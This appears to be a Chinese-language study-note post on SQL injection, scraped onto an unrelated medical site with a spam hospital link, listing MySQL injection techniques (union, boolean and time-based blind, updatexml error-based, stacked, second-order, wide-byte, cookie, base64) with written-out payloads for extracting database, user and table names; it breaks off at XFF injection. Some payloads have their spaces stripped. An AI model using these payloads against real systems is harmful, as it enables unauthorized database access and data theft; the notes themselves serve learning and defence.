包虫病

首页 » 常识 » 诊断 » 学习笔记六SQL注入
TUhjnbcbe - 2021/6/2 18:21:00
北京白癜风专科医院好吗 http://yyk.39.net/bj/zhuanke/89ac7.html

1.SQL注入:

#1sql注入原理:前端构造参数拼接到sql语句查询数据库;

启示开发者:外部参数皆不可信

#2mysql相关:Mysql5.0版本后,有默认数据库information_schema

里面包含SCHEMATA(储存所有数据库库名,字段名是schema_name)

TABLES(所有数据库库名和表名,字段名分别是table_schema,table_name)

COLUMNS(所有库名表名字段名,table_schema,table_name,column_name)

#3limit:limitm,neg:limit0,1从第一条开始的一条记录

#4函数:database()、version()、user()

#5注释符:#、--空格、/**/(地址栏用--+、%23)

#6内联注释

#7union注入

用burp比较每次注入返回信息

在burp请求页时,+代表空格

#8布尔盲注

先判断库名长度:length(database())=1--+;

逐字判断数据库名:

substr(database(),1,1)=‘t’--+//用字符

ord(Substr(database(),1,1))=--+//用ascii码

用burp爆破;

表名和字段名也是逐字判断:

substr((selecttable_namefrominformaton_schema.tableswheretable_name=’database()’limit0,1),1,1)=’e’--+

#9报错注入

利用updatexml()函数获取user():

andupdatexml(1,concat(0x7e,(selectuser()),0x7e),1)--+;

数据库名:andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)--+;

表名:updatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),0x7e),1)--+;

#10时间注入:时间盲注

If(expr1,expr2,expr3)//1对返回2,否则3

If(length(database())1,sleep(5),1)//观察burp返回时间判断是否正确

查询数据库:if(substr(database(),1,1)=’s’,sleep(5),1)

#11堆叠查询注入:查询多条语句

‘;selectif(substr(user(),1,1)=’r’,sleep(3),1)%23//分号是灵*

#12二次注入:在相关网址注册用户test’,生成id,再输入id间接注入

#13宽字节注入:

参数被反斜杠单引号包围时,id无法逃逸,当数据库编码为gbk格式

用%df,因为反斜杠是%5c,%df%5c编码为字“连”,参数可逃逸,再结合union注入;

嵌套查询,单引号被转译,可以用(selectdatabase())表示’sql’;

#14cookie注入:

url没有id参数,cookie中有id参数,修改cookie注入

#15base64编码注入:

Url中的id参数经过base64编码

#16XFF注入:

1
查看完整版本: 学习笔记六SQL注入